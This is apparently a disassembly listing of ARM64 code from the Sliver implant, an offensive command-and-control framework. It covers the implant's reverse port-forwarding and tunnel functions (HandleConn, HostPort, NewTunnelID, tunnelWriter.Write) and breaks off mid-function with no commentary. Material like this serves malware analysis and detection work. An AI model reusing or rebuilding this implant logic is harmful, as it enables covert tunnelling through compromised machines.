    004ee69cldp x5, x6, [x27]
    004ee6a0stp x1, x2, [sp+104]
    004ee6a4stp x3, x4, [sp+120]
    004ee6a8stp x5, x6, [sp+136]
    004ee6acstr xzr, [sp+152]
    004ee6b0ldr x1, [sp+96]
    004ee6b4str x1, [sp+104]
    004ee6b8ldr x1, [sp+160]
    004ee6bcldrsb x27, [x1]
    004ee6c0ldr x1, [x1]
    004ee6c4str x1, [sp+112]
    004ee6c8ldr x1, [sp+224]
    004ee6ccldr x2, [sp+232]
    004ee6d0str x1, [sp+120]
    004ee6d4str x2, [sp+128]
    004ee6d8ldr w1, [sp+60]
    004ee6dcstr w1, [sp+136]
    004ee6e0ldr x1, [sp+64]
    004ee6e4str x1, [sp+152]
    004ee6e8stp xzr, xzr, [sp+208]
    004ee6ecadrp x0, 0x195000
    004ee6f0add x0, x0, 1824
    004ee6f4add x1, sp, 104
    004ee6f8bl runtime.convT
    004ee6fcstr x0, [sp+336]
    004ee700ldr x1, [sp+96]
    004ee704ldrsb x27, [x1]
    004ee708ldr x2, [x1+8]
    004ee70cldr x1, [x1+16]
    004ee710subs xzr, x1, 0
    004ee714b.hi 0x4ee71c
    004ee718b 0x4ee848
    004ee71c
    004ee71cloc_4ee71c:
    004ee71cldr x3, [x2+8]
    004ee720ldr x4, [x2]
    004ee724str x4, [sp+320]
    004ee728str x3, [sp+328]
    004ee72ccbnz x4, 0x4ee734
    004ee730b 0x4ee754
    004ee734
    004ee734loc_4ee734:
    004ee734str x3, [sp+256]
    004ee738ldr x1, [x4+8]
    004ee73cadrp x0, 0x520000
    004ee740add x0, x0, 3536
    004ee744bl runtime.typeAssert
    004ee748ldr x3, [sp+256]
    004ee74cmov x4, x0
    004ee750b 0x4ee758
    004ee754
    004ee754loc_4ee754:
    004ee754b 0x4ee758
    004ee758
    004ee758loc_4ee758:
    004ee758str x4, [sp+304]
    004ee75cstr x3, [sp+312]
    004ee760ldr x1, [sp+336]
    004ee764adrp x0, 0x227000
    004ee768add x0, x0, 2624
    004ee76cmov x2, x4
    004ee770bl io.Copy
    004ee774str x0, [sp+80]
    004ee778str x1, [sp+208]
    004ee77cstr x2, [sp+216]
    004ee780ldr x4, [sp+80]
    004ee784str x4, [sp+88]
    004ee788str x1, [sp+240]
    004ee78cstr x2, [sp+248]
    004ee790ldr x4, [sp+88]
    004ee794str x4, [sp+72]
    004ee798str x1, [sp+168]
    004ee79cstr x2, [sp+176]
    004ee7a0stp xzr, xzr, [sp+192]
    004ee7a4add x4, sp, 192
    004ee7a8str x4, [sp+272]
    004ee7acldr x0, [sp+72]
    004ee7b0bl runtime.convT64
    004ee7b4str x0, [sp+264]
    004ee7b8ldr x4, [sp+272]
    004ee7bcldrsb x27, [x4]
    004ee7c0adrp x5, 0x107000
    004ee7c4add x5, x5, 3392
    004ee7c8str x5, [x4]
    004ee7ccadrp x27, 0x55d000
    004ee7d0ldr w5, [x27+3056]
    004ee7d4cbz w5, 0x4ee7dc
    004ee7d8b 0x4ee7e0
    004ee7dc
    004ee7dcloc_4ee7dc:
    004ee7dcb 0x4ee7f4
    004ee7e0
    004ee7e0loc_4ee7e0:
    004ee7e0bl runtime.gcWriteBarrier2
    004ee7e4str x0, [x25]
    004ee7e8ldr x5, [x4+8]
    004ee7ecstr x5, [x25+8]
    004ee7f0b 0x4ee7f4
    004ee7f4
    004ee7f4loc_4ee7f4:
    004ee7f4str x0, [x4+8]
    004ee7f8ldr x2, [sp+272]
    004ee7fcldrsb x27, [x2]
    004ee800b 0x4ee804
    004ee804
    004ee804loc_4ee804:
    004ee804str x2, [sp+280]
    004ee808orr x4, xzr, 1
    004ee80cstr x4, [sp+288]
    004ee810str x4, [sp+296]
    004ee814adrp x0, 0x1d3000
    004ee818add x0, x0, 2641
    004ee81cmovz x1, 36
    004ee820mov x3, x4
    004ee824bl log.Printf
    004ee828ldr x0, [sp+168]
    004ee82cldr x1, [sp+176]
    004ee830ldr x26, [sp+184]
    004ee834ldr x5, [x26]
    004ee838blr x5
    004ee83cldp x29, x30, [sp-8]
    004ee840add sp, sp, 352
    004ee844ret x30
    004ee848
    004ee848loc_4ee848:
    004ee848mov x0, xzr
    004ee84cbl runtime.panicIndex
    004ee850hint
    004ee854
    004ee854loc_4ee854:
    004ee854mov x3, x30
    004ee858bl runtime.morestack.abi0
    004ee85cb 0x4ee620
    004ee620
    004ee860
    004ee860github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1(error reason)
    004ee860ldr x16, [x28+16]
    004ee864sub x17, sp, 112
    004ee868subs xzr, x17, x16
    004ee86cb.ls 0x4eea40
    004ee870str x30, [sp-240]!
    004ee874stur x29, [sp-8]
    004ee878sub x29, sp, 8
    004ee87cstr x0, [sp+248]
    004ee880str x1, [sp+256]
    004ee884ldr x1, [x26+8]
    004ee888str x1, [sp+72]
    004ee88cldr x1, [x26+16]
    004ee890str x1, [sp+104]
    004ee894ldr x1, [x26+24]
    004ee898ldr x2, [x26+32]
    004ee89cstr x1, [sp+88]
    004ee8a0str x2, [sp+96]
    004ee8a4ldr x1, [x26+40]
    004ee8a8str x1, [sp+112]
    004ee8acstp xzr, xzr, [sp+192]
    004ee8b0stp xzr, xzr, [sp+208]
    004ee8b4add x1, sp, 192
    004ee8b8str x1, [sp+160]
    004ee8bcldr x1, [sp+72]
    004ee8c0ldrsb x27, [x1]
    004ee8c4ldr x0, [x1]
    004ee8c8str x0, [sp+48]
    004ee8ccbl runtime.convT64
    004ee8d0str x0, [sp+152]
    004ee8d4ldr x1, [sp+160]
    004ee8d8ldrsb x27, [x1]
    004ee8dcadrp x2, 0x107000
    004ee8e0add x2, x2, 3456
    004ee8e4str x2, [x1]
    004ee8e8adrp x27, 0x55d000
    004ee8ecldr w2, [x27+3056]
    004ee8f0cbz w2, 0x4ee8f8
    004ee8f4b 0x4ee8fc
    004ee8f8
    004ee8f8loc_4ee8f8:
    004ee8f8b 0x4ee910
    004ee8fc
    004ee8fcloc_4ee8fc:
    004ee8fcbl runtime.gcWriteBarrier2
    004ee900str x0, [x25]
    004ee904ldr x5, [x1+8]
    004ee908str x5, [x25+8]
    004ee90cb 0x4ee910
    004ee910
    004ee910loc_4ee910:
    004ee910str x0, [x1+8]
    004ee914ldr x5, [sp+248]
    004ee918ldr x6, [sp+256]
    004ee91cstr x5, [sp+136]
    004ee920str x6, [sp+144]
    004ee924str x5, [sp+128]
    004ee928ldr x5, [sp+128]
    004ee92ccbnz x5, 0x4ee934
    004ee930b 0x4ee944
    004ee934
    004ee934loc_4ee934:
    004ee934ldr x5, [sp+128]
    004ee938ldr x5, [x5+8]
    004ee93cstr x5, [sp+128]
    004ee940b 0x4ee948
    004ee944
    004ee944loc_4ee944:
    004ee944b 0x4ee948
    004ee948
    004ee948loc_4ee948:
    004ee948ldr x5, [sp+160]
    004ee94cldrsb x27, [x5]
    004ee950ldr x6, [sp+128]
    004ee954ldr x7, [sp+144]
    004ee958str x6, [x5+16]
    004ee95cadrp x27, 0x55d000
    004ee960ldr w6, [x27+3056]
    004ee964cbz w6, 0x4ee96c
    004ee968b 0x4ee970
    004ee96c
    004ee96cloc_4ee96c:
    004ee96cb 0x4ee984
    004ee970
    004ee970loc_4ee970:
    004ee970bl runtime.gcWriteBarrier2
    004ee974str x7, [x25]
    004ee978ldr x6, [x5+24]
    004ee97cstr x6, [x25+8]
    004ee980b 0x4ee984
    004ee984
    004ee984loc_4ee984:
    004ee984str x7, [x5+24]
    004ee988ldr x2, [sp+160]
    004ee98cldrsb x27, [x2]
    004ee990b 0x4ee994
    004ee994
    004ee994loc_4ee994:
    004ee994str x2, [sp+168]
    004ee998orr x4, xzr, 2
    004ee99cstr x4, [sp+176]
    004ee9a0str x4, [sp+184]
    004ee9a4adrp x0, 0x1d0000
    004ee9a8add x0, x0, 2224
    004ee9acorr x1, xzr, 32
    004ee9b0mov x3, x4
    004ee9b4bl log.Printf
    004ee9b8ldr x5, [sp+104]
    004ee9bcldrsb x27, [x5]
    004ee9c0ldr x0, [x5]
    004ee9c4str x0, [sp+120]
    004ee9c8ldr x5, [sp+72]
    004ee9ccldrsb x27, [x5]
    004ee9d0ldr x1, [x5]
    004ee9d4str x1, [sp+64]
    004ee9d8bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Tunnel
    004ee9dcstr x0, [sp+80]
    004ee9e0cbnz x0, 0x4ee9e8
    004ee9e4b 0x4eea10
    004ee9e8
    004ee9e8loc_4ee9e8:
    004ee9e8ldr x2, [sp+104]
    004ee9ecldrsb x27, [x2]
    004ee9f0ldr x0, [x2]
    004ee9f4str x0, [sp+224]
    004ee9f8ldr x2, [sp+80]
    004ee9fcldrsb x27, [x2]
    004eea00ldr x1, [x2]
    004eea04str x1, [sp+56]
    004eea08bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).RemoveTunnel
    004eea0cb 0x4eea14
    004eea10
    004eea10loc_4eea10:
    004eea10b 0x4eea14
    004eea14
    004eea14loc_4eea14:
    004eea14ldr x1, [sp+88]
    004eea18ldrsb x27, [x1]
    004eea1cldr x1, [x1+24]
    004eea20ldr x0, [sp+96]
    004eea24blr x1
    004eea28ldr x26, [sp+112]
    004eea2cldr x1, [x26]
    004eea30blr x1
    004eea34ldur x29, [sp-8]
    004eea38ldr x30, [sp], 240
    004eea3cret x30
    004eea40
    004eea40loc_4eea40:
    004eea40stp x0, x1, [sp+8]
    004eea44mov x3, x30
    004eea48bl runtime.morestack.abi0
    004eea4cldp x0, x1, [sp+8]
    004eea50b 0x4ee860
    004eea54udf 0
    004eea58udf 0
    004eea5cudf 0
    004ee860
    004eea60
    004eea60github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HostPort: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HostPort(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p)
    004eea60ldr x16, [x28+16]
    004eea64sub x17, sp, 320
    004eea68subs xzr, x17, x16
    004eea6cb.ls 0x4eee00
    004eea70sub x20, sp, 448
    004eea74stp x29, x30, [x20-8]
    004eea78add sp, x20, 0
    004eea7csub x29, sp, 8
    004eea80str x0, [sp+456]
    004eea84stp xzr, xzr, [sp+96]
    004eea88str wzr, [sp+60]
    004eea8cmovz x2, 8080
    004eea90str w2, [sp+68]
    004eea94stp xzr, xzr, [sp+408]
    004eea98stp xzr, xzr, [sp+392]
    004eea9cstp xzr, xzr, [sp+376]
    004eeaa0ldr x2, [sp+456]
    004eeaa4ldrsb x27, [x2]
    004eeaa8ldr x0, [x2+24]
    004eeaacldr x1, [x2+32]
    004eeab0str x0, [sp+344]
    004eeab4str x1, [sp+352]
    004eeab8bl net.SplitHostPort
    004eeabcstr x0, [sp+408]
    004eeac0str x1, [sp+416]
    004eeac4str x2, [sp+392]
    004eeac8str x3, [sp+400]
    004eeaccstr x4, [sp+376]
    004eead0str x5, [sp+384]
    004eead4ldr x2, [sp+408]
    004eead8ldr x3, [sp+416]
    004eeadcstr x2, [sp+192]
    004eeae0str x3, [sp+200]
    004eeae4ldr x2, [sp+392]
    004eeae8ldr x3, [sp+400]
    004eeaecstr x2, [sp+176]
    004eeaf0str x3, [sp+184]
    004eeaf4ldr x2, [sp+376]
    004eeaf8ldr x3, [sp+384]
    004eeafcstr x2, [sp+160]
    004eeb00str x3, [sp+168]
    004eeb04ldr x2, [sp+192]
    004eeb08ldr x3, [sp+200]
    004eeb0cstr x2, [sp+128]
    004eeb10str x3, [sp+136]
    004eeb14ldr x2, [sp+176]
    004eeb18ldr x3, [sp+184]
    004eeb1cstr x2, [sp+112]
    004eeb20str x3, [sp+120]
    004eeb24ldr x2, [sp+168]
    004eeb28ldr x3, [sp+160]
    004eeb2cstr x3, [sp+144]
    004eeb30str x2, [sp+152]
    004eeb34cbnz x3, 0x4eeb3c
    004eeb38b 0x4eebf8
    004eeb3c
    004eeb3cloc_4eeb3c:
    004eeb3cstp xzr, xzr, [sp+360]
    004eeb40add x2, sp, 360
    004eeb44str x2, [sp+312]
    004eeb48ldr x2, [sp+456]
    004eeb4cldrsb x27, [x2]
    004eeb50ldr x0, [x2+24]
    004eeb54ldr x1, [x2+32]
    004eeb58str x0, [sp+296]
    004eeb5cstr x1, [sp+304]
    004eeb60bl runtime.convTstring
    004eeb64str x0, [sp+288]
    004eeb68ldr x2, [sp+312]
    004eeb6cldrsb x27, [x2]
    004eeb70adrp x3, 0x107000
    004eeb74add x3, x3, 2944
    004eeb78str x3, [x2]
    004eeb7cadrp x27, 0x55d000
    004eeb80ldr w3, [x27+3056]
    004eeb84cbz w3, 0x4eeb8c
    004eeb88b 0x4eeb90
    004eeb8c
    004eeb8cloc_4eeb8c:
    004eeb8cb 0x4eeba4
    004eeb90
    004eeb90loc_4eeb90:
    004eeb90bl runtime.gcWriteBarrier2
    004eeb94str x0, [x25]
    004eeb98ldr x5, [x2+8]
    004eeb9cstr x5, [x25+8]
    004eeba0b 0x4eeba4
    004eeba4
    004eeba4loc_4eeba4:
    004eeba4str x0, [x2+8]
    004eeba8ldr x2, [sp+312]
    004eebacldrsb x27, [x2]
    004eebb0b 0x4eebb4
    004eebb4
    004eebb4loc_4eebb4:
    004eebb4str x2, [sp+320]
    004eebb8orr x4, xzr, 1
    004eebbcstr x4, [sp+328]
    004eebc0str x4, [sp+336]
    004eebc4adrp x0, 0x1ca000
    004eebc8add x0, x0, 2295
    004eebccmovz x1, 23
    004eebd0mov x3, x4
    004eebd4bl log.Printf
    004eebd8stp xzr, xzr, [sp+96]
    004eebdcldr w2, [sp+68]
    004eebe0str w2, [sp+60]
    004eebe4ldr x1, [sp+104]
    004eebe8ldr x0, [sp+96]
    004eebecldp x29, x30, [sp-8]
    004eebf0add sp, sp, 448
    004eebf4ret x30
    004eebf8
    004eebf8loc_4eebf8:
    004eebf8stp xzr, xzr, [sp+376]
    004eebfcldr x0, [sp+112]
    004eec00ldr x1, [sp+120]
    004eec04bl strconv.Atoi
    004eec08str x0, [sp+80]
    004eec0cstr x1, [sp+376]
    004eec10str x2, [sp+384]
    004eec14ldr x3, [sp+80]
    004eec18str x3, [sp+88]
    004eec1cstr x1, [sp+424]
    004eec20str x2, [sp+432]
    004eec24ldr x3, [sp+88]
    004eec28str x3, [sp+72]
    004eec2cstr x1, [sp+144]
    004eec30str x2, [sp+152]
    004eec34cbnz x1, 0x4eec3c
    004eec38b 0x4eece8
    004eec3c
    004eec3cloc_4eec3c:
    004eec3cstp xzr, xzr, [sp+360]
    004eec40add x2, sp, 360
    004eec44str x2, [sp+256]
    004eec48ldr x0, [sp+112]
    004eec4cldr x1, [sp+120]
    004eec50bl runtime.convTstring
    004eec54str x0, [sp+248]
    004eec58ldr x2, [sp+256]
    004eec5cldrsb x27, [x2]
    004eec60adrp x3, 0x107000
    004eec64add x3, x3, 2944
    004eec68str x3, [x2]
    004eec6cadrp x27, 0x55d000
    004eec70ldr w3, [x27+3056]
    004eec74cbz w3, 0x4eec7c
    004eec78b 0x4eec80
    004eec7c
    004eec7cloc_4eec7c:
    004eec7cb 0x4eec94
    004eec80
    004eec80loc_4eec80:
    004eec80bl runtime.gcWriteBarrier2
    004eec84str x0, [x25]
    004eec88ldr x5, [x2+8]
    004eec8cstr x5, [x25+8]
    004eec90b 0x4eec94
    004eec94
    004eec94loc_4eec94:
    004eec94str x0, [x2+8]
    004eec98ldr x2, [sp+256]
    004eec9cldrsb x27, [x2]
    004eeca0b 0x4eeca4
    004eeca4
    004eeca4loc_4eeca4:
    004eeca4str x2, [sp+264]
    004eeca8orr x4, xzr, 1
    004eecacstr x4, [sp+272]
    004eecb0str x4, [sp+280]
    004eecb4adrp x0, 0x1cf000
    004eecb8add x0, x0, 1132
    004eecbcorr x1, xzr, 30
    004eecc0mov x3, x4
    004eecc4bl log.Printf
    004eecc8stp xzr, xzr, [sp+96]
    004eecccldr w2, [sp+68]
    004eecd0str w2, [sp+60]
    004eecd4ldr x1, [sp+104]
    004eecd8ldr x0, [sp+96]
    004eecdcldp x29, x30, [sp-8]
    004eece0add sp, sp, 448
    004eece4ret x30
    004eece8
    004eece8loc_4eece8:
    004eece8ldr x3, [sp+72]
    004eececstr w3, [sp+64]
    004eecf0subs wzr, w3, 0
    004eecf4cset x4, eq
    004eecf8strb w4, [sp+59]
    004eecfccbz w3, 0x4eed04
    004eed00b 0x4eed08
    004eed04
    004eed04loc_4eed04:
    004eed04b 0x4eed20
    004eed08
    004eed08loc_4eed08:
    004eed08ldr w3, [sp+64]
    004eed0cmovz x4, 65535
    004eed10subs wzr, w3, w4
    004eed14cset x3, hi
    004eed18strb w3, [sp+59]
    004eed1cb 0x4eed20
    004eed20
    004eed20loc_4eed20:
    004eed20ldrb w3, [sp+59]
    004eed24tbnz w3, 0, 0x4eed2c
    004eed28b 0x4eedd4
    004eed2c
    004eed2cloc_4eed2c:
    004eed2cstp xzr, xzr, [sp+360]
    004eed30add x1, sp, 360
    004eed34str x1, [sp+216]
    004eed38ldr w0, [sp+64]
    004eed3cbl runtime.convT32
    004eed40str x0, [sp+208]
    004eed44ldr x1, [sp+216]
    004eed48ldrsb x27, [x1]
    004eed4cadrp x2, 0x107000
    004eed50add x2, x2, 3328
    004eed54str x2, [x1]
    004eed58adrp x27, 0x55d000
    004eed5cldr w2, [x27+3056]
    004eed60cbz w2, 0x4eed68
    004eed64b 0x4eed6c
    004eed68
    004eed68loc_4eed68:
    004eed68b 0x4eed80
    004eed6c
    004eed6cloc_4eed6c:
    004eed6cbl runtime.gcWriteBarrier2
    004eed70str x0, [x25]
    004eed74ldr x5, [x1+8]
    004eed78str x5, [x25+8]
    004eed7cb 0x4eed80
    004eed80
    004eed80loc_4eed80:
    004eed80str x0, [x1+8]
    004eed84ldr x2, [sp+216]
    004eed88ldrsb x27, [x2]
    004eed8cb 0x4eed90
    004eed90
    004eed90loc_4eed90:
    004eed90str x2, [sp+224]
    004eed94orr x4, xzr, 1
    004eed98str x4, [sp+232]
    004eed9cstr x4, [sp+240]
    004eeda0adrp x0, 0x1c9000
    004eeda4add x0, x0, 3568
    004eeda8movz x1, 22
    004eedacmov x3, x4
    004eedb0bl log.Printf
    004eedb4stp xzr, xzr, [sp+96]
    004eedb8ldr w2, [sp+68]
    004eedbcstr w2, [sp+60]
    004eedc0ldr x1, [sp+104]
    004eedc4ldr x0, [sp+96]
    004eedc8ldp x29, x30, [sp-8]
    004eedccadd sp, sp, 448
    004eedd0ret x30
    004eedd4
    004eedd4loc_4eedd4:
    004eedd4ldr x3, [sp+128]
    004eedd8ldr x4, [sp+136]
    004eeddcstr x3, [sp+96]
    004eede0str x4, [sp+104]
    004eede4ldr w2, [sp+64]
    004eede8str w2, [sp+60]
    004eedecldr x0, [sp+96]
    004eedf0ldr x1, [sp+104]
    004eedf4ldp x29, x30, [sp-8]
    004eedf8add sp, sp, 448
    004eedfcret x30
    004eee00
    004eee00loc_4eee00:
    004eee00str x0, [sp+8]
    004eee04mov x3, x30
    004eee08bl runtime.morestack_noctxt.abi0
    004eee0cldr x0, [sp+8]
    004eee10b 0x4eea60
    004eee14udf 0
    004eee18udf 0
    004eee1cudf 0
    004eea60
    004eee20
    004eee20github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Port: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Port(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p)
    004eee20ldr x16, [x28+16]
    004eee24subs xzr, sp, x16
    004eee28b.ls 0x4eee84
    004eee2cstr x30, [sp-80]!
    004eee30stur x29, [sp-8]
    004eee34sub x29, sp, 8
    004eee38str x0, [sp+88]
    004eee3cstr wzr, [sp+24]
    004eee40stp xzr, xzr, [sp+40]
    004eee44ldr x0, [sp+88]
    004eee48bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HostPort
    004eee4cstr x0, [sp+40]
    004eee50str x1, [sp+48]
    004eee54str w2, [sp+32]
    004eee58ldr x1, [sp+40]
    004eee5cldr x2, [sp+48]
    004eee60str x1, [sp+56]
    004eee64str x2, [sp+64]
    004eee68ldr w0, [sp+32]
    004eee6cstr w0, [sp+36]
    004eee70str w0, [sp+28]
    004eee74str w0, [sp+24]
    004eee78ldur x29, [sp-8]
    004eee7cldr x30, [sp], 80
    004eee80ret x30
    004eee84
    004eee84loc_4eee84:
    004eee84str x0, [sp+8]
    004eee88mov x3, x30
    004eee8cbl runtime.morestack_noctxt.abi0
    004eee90ldr x0, [sp+8]
    004eee94b 0x4eee20
    004eee98udf 0
    004eee9cudf 0
    004eee20
    004eeea0
    004eeea0github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Host: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Host(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p)
    004eeea0ldr x16, [x28+16]
    004eeea4subs xzr, sp, x16
    004eeea8b.ls 0x4eef14
    004eeeacstr x30, [sp-96]!
    004eeeb0stur x29, [sp-8]
    004eeeb4sub x29, sp, 8
    004eeeb8str x0, [sp+104]
    004eeebcstp xzr, xzr, [sp+24]
    004eeec0stp xzr, xzr, [sp+56]
    004eeec4ldr x0, [sp+104]
    004eeec8bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HostPort
    004eeeccstr x0, [sp+56]
    004eeed0str x1, [sp+64]
    004eeed4str w2, [sp+16]
    004eeed8ldr x1, [sp+56]
    004eeedcldr x2, [sp+64]
    004eeee0str x1, [sp+72]
    004eeee4str x2, [sp+80]
    004eeee8ldr w1, [sp+16]
    004eeeecstr w1, [sp+20]
    004eeef0ldr x0, [sp+72]
    004eeef4ldr x1, [sp+80]
    004eeef8str x0, [sp+40]
    004eeefcstr x1, [sp+48]
    004eef00str x0, [sp+24]
    004eef04str x1, [sp+32]
    004eef08ldur x29, [sp-8]
    004eef0cldr x30, [sp], 96
    004eef10ret x30
    004eef14
    004eef14loc_4eef14:
    004eef14str x0, [sp+8]
    004eef18mov x3, x30
    004eef1cbl runtime.morestack_noctxt.abi0
    004eef20ldr x0, [sp+8]
    004eef24b 0x4eeea0
    004eef28udf 0
    004eef2cudf 0
    004eeea0
    004eef30
    004eef30github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).dialTimeout: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).dialTimeout(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p)
    004eef30str x30, [sp-32]!
    004eef34stur x29, [sp-8]
    004eef38sub x29, sp, 8
    004eef3cstr x0, [sp+40]
    004eef40str xzr, [sp+16]
    004eef44ldrsb x27, [x0]
    004eef48ldr x1, [x0+48]
    004eef4csubs xzr, x1, 0
    004eef50b.gt 0x4eef58
    004eef54b 0x4eef70
    004eef58
    004eef58loc_4eef58:
    004eef58ldrsb x27, [x0]
    004eef5cldr x0, [x0+48]
    004eef60str x0, [sp+16]
    004eef64add x29, sp, 24
    004eef68add sp, sp, 32
    004eef6cret x30
    004eef70
    004eef70loc_4eef70:
    004eef70movz x0, 44032
    004eef74movk x0, 0xfc230000
    004eef78movk x0, 0x600000000
    004eef7cstr x0, [sp+16]
    004eef80add x29, sp, 24
    004eef84add sp, sp, 32
    004eef88ret x30
    004eef8cudf 0
    004eef30
    004eef90
    004eef90github.com/bishopfox/sliver/implant/sliver/rportfwd.nextPortfwdID: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.nextPortfwdID(void)
    004eef90str x30, [sp-32]!
    004eef94stur x29, [sp-8]
    004eef98sub x29, sp, 8
    004eef9cstr xzr, [sp+16]
    004eefa0adrp x27, 0x55d000
    004eefa4ldr x1, [x27+2240]
    004eefa8add x0, x1, 1
    004eefacadrp x27, 0x55d000
    004eefb0str x0, [x27+2240]
    004eefb4str x0, [sp+16]
    004eefb8add x29, sp, 24
    004eefbcadd sp, sp, 32
    004eefc0ret x30
    004eefc4udf 0
    004eefc8udf 0
    004eefccudf 0
    004eef90
    004eefd0
    004eefd0github.com/bishopfox/sliver/implant/sliver/rportfwd.NewTunnelID: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.NewTunnelID(void)
    004eefd0ldr x16, [x28+16]
    004eefd4subs xzr, sp, x16
    004eefd8b.ls 0x4ef03c
    004eefdcstr x30, [sp-96]!
    004eefe0stur x29, [sp-8]
    004eefe4sub x29, sp, 8
    004eefe8str xzr, [sp+48]
    004eefecb 0x4eeff0
    004eeff0
    004eeff0loc_4eeff0:
    004eeff0str xzr, [sp+40]
    004eeff4add x0, sp, 40
    004eeff8ldrsb x27, [x0]
    004eeffcb 0x4ef000
    004ef000
    004ef000loc_4ef000:
    004ef000str x0, [sp+64]
    004ef004orr x2, xzr, 8
    004ef008str x2, [sp+72]
    004ef00cstr x2, [sp+80]
    004ef010mov x1, x2
    004ef014bl math/rand.Read
    004ef018ldr x0, [sp+64]
    004ef01cldr x1, [sp+72]
    004ef020ldr x2, [sp+80]
    004ef024bl encoding/binary.littleEndian.Uint64
    004ef028str x0, [sp+56]
    004ef02cstr x0, [sp+48]
    004ef030ldur x29, [sp-8]
    004ef034ldr x30, [sp], 96
    004ef038ret x30
    004ef03c
    004ef03cloc_4ef03c:
    004ef03cmov x3, x30
    004ef040bl runtime.morestack_noctxt.abi0
    004ef044b 0x4eefd0
    004ef048udf 0
    004ef04cudf 0
    004eefd0
    004ef050
    004ef050github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter.Write: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter.Write(github.com/bishopfox/sliver/implant/sliver/rportfwd.tunnelWriter tw, struct []uint8 data)
    004ef050ldr x16, [x28+16]
    004ef054sub x17, sp, 272
    004ef058subs xzr, x17, x16
    004ef05cb.ls 0x4ef5a8
    004ef060sub x20, sp, 400
    004ef064stp x29, x30, [x20-8]
    004ef068add sp, x20, 0
    004ef06csub x29, sp, 8
    004ef070str x0, [sp+408]
    004ef074str x1, [sp+416]
    004ef078str x2, [sp+424]
    004ef07cstr x3, [sp+432]
    004ef080str w4, [sp+440]
    004ef084str x5, [sp+448]
    004ef088str x6, [sp+456]
    004ef08cstr x7, [sp+464]
    004ef090str x8, [sp+472]
    004ef094str x9, [sp+480]
    004ef098str xzr, [sp+64]
    004ef09cstp xzr, xzr, [sp+96]
    004ef0a0ldr x1, [sp+472]
    004ef0a4str x1, [sp+72]
    004ef0a8strb wzr, [sp+63]
    004ef0acadrp x0, 0x19c000
    004ef0b0add x0, x0, 384
    004ef0b4bl runtime.newobject
    004ef0b8str x0, [sp+280]
    004ef0bcadrp x27, 0x55c000
    004ef0c0ldr w1, [x27+3056]
    004ef0c4cbz w1, 0x4ef0cc
    004ef0c8b 0x4ef0d0
    004ef0cc
    004ef0ccloc_4ef0cc:
    004ef0ccb 0x4ef0ec
    004ef0d0
    004ef0d0loc_4ef0d0:
    004ef0d0str x0, [sp+192]
    004ef0d4mov x1, x0
    004ef0d8adrp x0, 0x19c000
    004ef0dcadd x0, x0, 384
    004ef0e0bl runtime.wbZero
    004ef0e4ldr x0, [sp+192]
    004ef0e8b 0x4ef0ec
    004ef0ec
    004ef0ecloc_4ef0ec:
    004ef0ecmov x20, x0
    004ef0f0adr x27, 16
    004ef0f4stp x29, x27, [sp-24]
    004ef0f8sub x29, sp, 24
    004ef0fcbl fn_87cfc
    004ef100sub x29, sp, 8
    004ef104ldr x1, [sp+280]
    004ef108str x1, [sp+112]
    004ef10cldr x0, [sp+408]
    004ef110bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).WriteSequence
    004ef114str x0, [sp+88]
    004ef118cbz x0, 0x4ef120
    004ef11cb 0x4ef19c
    004ef120
    004ef120loc_4ef120:
    004ef120orr x1, xzr, 1
    004ef124strb w1, [sp+63]
    004ef128ldr x1, [sp+112]
    004ef12cldrsb x27, [x1]
    004ef130ldr x2, [sp+424]
    004ef134ldr x3, [sp+432]
    004ef138str x3, [x1+24]
    004ef13cadrp x27, 0x55c000
    004ef140ldr w3, [x27+3056]
    004ef144cbz w3, 0x4ef14c
    004ef148b 0x4ef150
    004ef14c
    004ef14cloc_4ef14c:
    004ef14cb 0x4ef164
    004ef150
    004ef150loc_4ef150:
    004ef150bl runtime.gcWriteBarrier2
    004ef154str x2, [x25]
    004ef158ldr x3, [x1+16]
    004ef15cstr x3, [x25+8]
    004ef160b 0x4ef164
    004ef164
    004ef164loc_4ef164:
    004ef164str x2, [x1+16]
    004ef168ldr x1, [sp+112]
    004ef16cldrsb x27, [x1]
    004ef170ldr w2, [sp+440]
    004ef174str w2, [x1+8]
    004ef178ldr x1, [sp+112]
    004ef17cldrsb x27, [x1]
    004ef180ldr x2, [sp+448]
    004ef184str w2, [x1+12]
    004ef188ldr x1, [sp+112]
    004ef18cldrsb x27, [x1]
    004ef190ldr x2, [sp+456]
    004ef194str x2, [x1+32]
    004ef198b 0x4ef1a0
    004ef19c
    004ef19cloc_4ef19c:
    004ef19cb 0x4ef1a0
    004ef1a0
    004ef1a0loc_4ef1a0:
    004ef1a0ldr x0, [sp+408]
    004ef1a4bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).WriteSequence
    004ef1a8str x0, [sp+88]
    004ef1acldr x0, [sp+408]
    004ef1b0bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).ReadSequence
    004ef1b4str x0, [sp+80]
    004ef1b8adrp x0, 0x1a8000
    004ef1bcadd x0, x0, 64
    004ef1c0bl runtime.newobject
    004ef1c4str x0, [sp+272]
    004ef1c8adrp x27, 0x55c000
